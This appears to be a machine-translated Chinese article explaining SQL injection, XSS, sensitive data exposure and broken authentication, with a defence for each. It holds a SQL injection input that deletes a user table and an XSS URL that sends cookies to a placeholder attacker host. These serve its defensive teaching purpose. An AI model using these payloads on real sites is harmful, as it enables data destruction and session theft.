机窝安全--Web 应用程序：常见漏洞和消除它们的方法

攻击者永远不会停止搜索网站和 Web 应用程序中的漏洞，他们可以利用这些漏洞利用公司系统或未经授权访问敏感数据。这就是为什么了解 Web 应用程序的常见漏洞并了解如何保护你的网站和应用程序的弱点至关重要的原因。 [出自:jiwo.org]

在本文中，我们探讨了四种最常见的 Web 应用程序安全漏洞：SQL 注入、跨站脚本 (XSS)、敏感数据暴露和身份验证损坏。然后，我们讨论缓解它们的方法，并分享我们在安全审计如何帮助在攻击者利用漏洞之前检测漏洞的经验。

本文将对任何想了解如何增强其 Web 应用程序安全性的人有所帮助。

你应该了解 Web 应用程序安全性的哪些内容？

忽视你网站的数据安全可能需要付出代价。Web 应用程序安全性差的后果包括：

数据泄露和违规
公司制度的腐败
名誉受损
失去用户信任
财务损失

各种法律法规为存储数据和管理对数据的访问制定了严格的规则。违反这些规则可能会导致数十万美元的罚款------更不用说处理受影响用户潜在诉讼的费用了。

2020 年，英国航空公司因两年前发生的数据泄露事件被罚款 2600 万美元。该违规行为影响了通过英国航空公司网站和移动应用程序进行的支付。顺便说一句，这是 GDPR 规定的首批重大罚款之一。

你怎么能防止这些不愉快的事件发生在你身上？

你可以首先了解最普遍的漏洞并保护你的应用程序免受这些漏洞的影响。要了解有关常见 Web 应用程序安全漏洞的更多信息，请查看开放 Web 应用程序安全项目(OWASP) 的评级。

OWASP 是一个在线社区，它创建 Web 应用程序安全领域的文章、方法、工具和技术，并提供免费访问。

他们的项目之一，称为OWASP Top 10，是对最广泛的 Web 应用程序漏洞的评级。它每三到四年更新一次，最后一次发布于 2017 年。

OWASP Top 10 包括以下描述：

常见漏洞
他们带来的危险和后果
减轻它们的方法
漏洞利用场景（针对某些安全风险）

根据我们的经验，我们从 OWASP 前 10 名评级中选择了四个最常见的 Web 应用程序漏洞。让我们探索它们并讨论保护你的系统免受它们侵害的方法。

SQL注入

SQL 注入是指通过不受保护的 HTML 表单和 API 端点注入 SQL 代码。

如果应用程序存在 SQL 注入漏洞，恶意行为者可以将第三方代码注入 Web 应用程序并运行此恶意代码。为了执行 SQL 注入攻击，黑客会发送对目标应用程序无效的数据，以使该应用程序执行不应该执行的操作。

成功的 SQL 注入可能会导致：

全部或部分删除现有数据
更改现有数据（例如，增加虚拟账户的资金）
访问受限数据
远程执行系统命令来操作服务器的文件系统和启动应用程序

让我们探讨一个简单身份验证表单上的 SQL 注入示例：

图 1. 认证表格

用户点击登录按钮后，系统将搜索用户名字段中指定的用户。假设系统以这种方式向数据库生成 SQL 请求：

var query = "SELECT Id, UserName FROM Users WHERE UserName = '" + Form["Username"] + "'";

那么最终的请求将如下所示：

SELECT Id, UserName FROM Users WHERE UserName = 'admin'

假设这个特定系统不过滤输入数据并将整个用户名字段放入 SQL 请求中。黑客可以利用此漏洞并输入如下内容：

图 2. 黑客试图将恶意代码注入系统

然后请求将如下所示：

SELECT Id, UserName FROM Users WHERE UserName = ''; DELETE FROM Users WHERE '' = '''

从请求中可以看出，系统已经将 Username 字段值完全放入 SQL 请求中。因此，数据库将首先执行SELECT Id, UserName FROM Users WHERE UserName = ''指令，然后执行DELETE FROM Users WHERE '' = ' ' 指令。因此，Users 表中的所有记录都将被删除。

如何防止 SQL 攻击？

以下是一些防止 SQL 攻击的有用做法：

不要将参数与 SQL 请求连接起来。按原样使用参数。

使用开箱即用的解决方案，例如对象关系映射器 (ORM) 库，这些库已经受到常见 Web 攻击的保护。

如果你使用NVARCHAR数据类型，请限制输入参数的大小。即使库存在允许 SQL 注入的缺陷，限制输入参数的长度也会阻止黑客发送完整的请求。这大大减少了攻击者注入大量恶意软件代码的机会。

跨站脚本 (XSS)

跨站点脚本或 XSS 漏洞允许攻击者在客户端（在浏览器中）执行恶意代码，并使用受影响的网站进一步传播此代码。

恶意行为者可以利用 XSS 漏洞注入内容并更改其显示方式。因此，攻击者使受害者的浏览器在页面加载期间执行恶意代码。

XSS 漏洞可用于：

从 cookie 和浏览器的本地或会话存储中窃取授权数据
从网页窃取机密数据
操纵页面内容并显示虚假数据
实施不同类型的网络钓鱼
添加将用户击键发送给攻击者的键盘记录器

让我们探讨一个针对同一身份验证表单的 XSS 攻击示例：

图 3. 认证表格

假设系统没有找到指定的用户名并将用户重定向到带有以下消息的页面：

图 4. 未找到指定用户名时系统的响应

此页面的 HTML 代码如下所示：

<h1>User "{{user.UserName}}" is not found!</h1>

现在我们可以尝试通过在用户名字段中输入来自 JavaScript 的 HTML 代码片段来执行 XSS 攻击：

图 5. 执行 XSS 攻击的尝试

提交表单后，用户会看到以下消息：

图 6. 执行恶意脚本

这意味着我们在用户名字段中键入的带有脚本标记的 JavaScript 代码已被执行。因此，本网站存在 XSS 漏洞。

现在用户被重定向到的页面的代码如下所示：

<h1>User "<script>alert("Hacked!")&lt/script>" is not found!&lt/h1>

这是反射型 XSS 攻击的一个示例。这是相对安全的，因为此代码仅在攻击者一侧执行。但是，此漏洞可能很危险，因为它使黑客能够将代码构建到 URL 地址中。

除了反射型 XSS 之外，还有存储型 XSS 和基于文档对象模型 (DOM) 的 XSS 攻击。让我们详细探讨这三种亚型。

反射型 XSS 攻击

反射型 XSS 攻击允许攻击者从未经验证和未经转义的数据中执行代码。在此类攻击期间，应用程序执行来自服务器的代码以响应客户端的请求（例如，填写的表格）。

以下是反射型 XSS 攻击的示例：

假设一个网站有一个内置的搜索功能。单击"**搜索"**按钮后，站点会将浏览器重定向到以下地址，并将搜索请求的内容放在末尾：

http://site.com/search?query=XSS

如果网站在搜索结果的页面上显示来自地址行的数据，则意味着该网站可能存在 XSS 漏洞，因为这样做也会执行搜索查询中指定的恶意代码。为了进行 XSS 攻击，恶意行为者可以输入伪装的超链接作为搜索请求，从而导致恶意资源作为地址。

例如，攻击者可以尝试使用以下代码从网站窃取 cookie：

http:⁄⁄site.com/search?query=<script>location.href="hacker-site.com/" + document。cookie</script>

反过来，Cookie 存储可能用于访问受感染用户帐户的身份验证数据。

存储型 XSS 攻击

这些攻击的工作方式类似于反射型 XSS 攻击。主要区别在于攻击者添加的带有恶意代码的数据已经保存在应用程序的服务器端。此代码在应其他用户请求输出保存的数据时执行。

基于 DOM 的 XSS 攻击

这种类型的攻击允许黑客通过利用存储和反射的 XSS 漏洞来操纵网页内容。特别是，基于 DOM 的 XSS 可用于将登录表单嵌入到网站中，并使用它向攻击者发送数据。

如何防止 XSS 攻击？

以下是一些有助于保护 Web 应用程序免受 XSS 攻击的做法：

使用可靠的框架、库和渲染引擎来显示页面。应用用于数据屏蔽的工具或用于代码执行的清洁标签。

使用 API 验证或清理传输到服务器的数据表单和数据。你可以创建一个通常用于添加恶意代码的标签的黑名单，以将其过滤掉。

将数据表单传输到服务器时屏蔽它们。

现在，让我们转向列表中的第二个主要 Web 应用程序安全问题：敏感数据暴露。

敏感数据暴露

许多网站和应用程序为了正常工作而收集用户数据，包括敏感数据和个人身份信息：

信用卡数据
社会安全号码
健康记录

在开发存储或处理敏感数据的 Web 应用程序之前，你应该注意如何在系统模块之间执行这些操作。法律、法规和标准通常对敏感数据的处理提出严格的要求。例如，PCI DSS 禁止存储未加密的信用卡数据。HIPAA 要求为保护受保护的健康信息指定了严格的规则。

一般来说，Web 应用程序中的数据可以分为两类：

存储的数据------存储在服务器上的所有信息
传输的数据------从浏览器传输到服务器的信息，反之亦然（也可以是不同子系统之间传输的数据）

最好通过加密或混淆来保护**存储的数据。**现代数据库管理系统支持这种安全措施。它们还允许仅对需要增强保护的数据应用加密或混淆。

为了保护浏览器和服务器之间传输的数据，最好的选择是使用为网站域配置的SSL 证书。这确保了数据加密，并使攻击者无法捕获数据。

身份验证损坏

身份验证损坏是一个漏洞，允许攻击者访问系统帐户或一般系统。

利用此漏洞的三种主要场景：

凭证填充

大多数用户为不同的站点重复使用相同的密码。如果攻击者之前已经从一个资源中获取了一组凭据，他们可以尝试应用它来访问不同资源上的公司帐户。这种类型的攻击称为凭据填充，该过程通常是自动化的。

减轻撞库攻击的可能解决方案是：

多因素身份验证------确保用户每次访问系统时，都会输入一个发送到经过验证的移动设备的确认码。
不安全密码黑名单------列出最容易被猜到的最常见密码（如 Qwerty123），并禁止用户为其帐户设置这些密码。
密码历史--- 存储以前的密码并让你的系统在一段时间内禁止用户重复密码。
验证码 ------在登录表单中添加验证码，以防止自动化应用程序和机器人访问网站帐户。攻击者经常使用 Selenium 等应用程序来模仿浏览器中的人类活动并尝试登录网站。
位置/IP 地址/浏览器检查------如果用户从不寻常的位置或使用不同的设备进入系统，系统应使用推送通知、电子邮件或其他方法验证此用户。

会话劫持

在这种情况下，攻击者窃取存储在 cookie 或本地浏览器存储中的会话标识符 (ID)。使用此 ID，他们可以访问用户的帐户。会话劫持通常与 XSS 攻击一起使用。

这就是会话劫持通常的工作方式：

攻击者将 JavaScript 代码注入具有 XSS 漏洞的站点页面。

用户加载被黑的网页。

用户的浏览器执行恶意代码，获取会话 ID 并将其发送给攻击者。

攻击者使用会话 ID 以用户名访问系统。

以下是有效防止会话劫持的三种方法：

检测并消除 XSS 漏洞。

限制会话持续时间，以便即使 ID 被盗，会话也会在攻击者滥用之前过期。

将会话 ID 绑定到用于访问你的系统的 IP 地址。如果使用相同的 ID 请求从另一个地址访问，系统必须拒绝该请求。

利用自定义身份验证系统中的弱点

在开发身份验证系统时，你可以选择使用标准组件或创建自定义组件。但是，自定义身份验证组件可能实施不正确或存在不明显的漏洞。如果攻击者破坏自定义身份验证令牌或利用实施缺陷，他们将能够窃取用户的身份。

另一方面，可靠的标准组件提供了几个重要的好处：

正确的密码存储
正确的密码验证
每次请求前的身份验证
完全注销会使会话过期

注意：如果授权系统的标准组件易受攻击，攻击者可以入侵使用该组件的网站。因此，你应该只使用知名且受信任的库和解决方案，例如Azure Active Directory和Amazon Cognito，它们的网络安全机制会定期更新。

由于正确的密码存储是安全 Web 应用程序的基本要素，让我们来探索如何安全地存储凭据。

如何安全地存储密码？

主要规则是不要将密码存储为纯文本。

安全存储密码的最佳方法是对其进行加密或散列。让我们探讨一下这两种方法之间的区别：

加密意味着将内容转换为没有密钥就无法读取的格式。你可以加密密码并为所有用户的凭据使用一个密钥，或者为每个用户的凭据使用一个单独的密钥。

但是，加密也有其风险：

如果密码和密钥存储在同一个数据库或同一台服务器上，黑客很可能会同时访问它们。并且通过了解加密方法，他们可以获得可读的密码。

如果所有用户的密码都有一个密钥，则很容易识别使用相同密码的用户，因为这些凭据即使在加密格式中看起来也相同。这可能是使用像 qwerty 这样相对容易猜到的广泛密码的标志。

散列是将内容转换为无法转换回可读格式的不可读格式的过程。它最大的优点是散列使得不可能从散列和中获取密码。你唯一需要避免的是使用不可靠的散列方法，例如MD5。

但是，散列与加密具有相同的缺点：相同的密码将具有相同的散列。

如何解决？你可以为每个用户生成一个随机的字节序列并将其添加到密码哈希和中，从而为相同的密码生成不同的哈希和。

通过安全审计检测 Web 应用程序漏洞

识别安全 Web 应用程序漏洞和缺陷的一个很好的做法是不时执行网络安全审计。通过审核，你将了解 Web 应用程序中的所有弱点，以便你可以修复它们。

让我们从我们的经验中探索一个真实的例子，说明安全审计如何帮助提高解决方案的安全性。

我们最近正在开发一个 SaaS 产品，其中包括一个门户网站和两个移动应用程序。所有这些组件都是由另一个在这个项目上工作了五年的开发团队创建的。

在进入新市场之前，产品的利益相关者决定对门户网站和移动应用程序进行安全审计。

我们针对本文中提到的漏洞分析了这些组件。我们的审计显示了一些重大的安全漏洞，客户聘请我们的团队来修复它们。

我们的安全审计结果帮助我们确定了解决方案安全性中需要改进的薄弱环节。在我们的项目工作期间，我们进行了一系列升级：

现代化认证系统
实施密码散列机制
为 Web 门户和移动应用程序开发了单一身份验证服务，其中包括保护系统免受最广泛攻击的所有必要功能
实施了在所有数据库级别混淆个人身份信息的机制
使用 ORM 消除 SQL 注入

密切关注 Web 应用程序的安全性始终很重要。攻击者总是会努力寻找入侵网站的新方法，而对 Web 应用程序的持续更新可能会产生新的漏洞。

结论

攻击者不断寻找新的方法来获得对 Web 应用程序的未经授权的访问。忽视你的网络安全可能会导致严重后果，包括财务和声誉损失。

我们希望本文能帮助你更好地了解 Web 应用程序的安全风险以及缓解这些风险的方法。了解最常被利用的漏洞类型将为你提供有关首先保护什么的线索。了解如何缓解漏洞将使你在保护 Web 应用程序方面更有优势。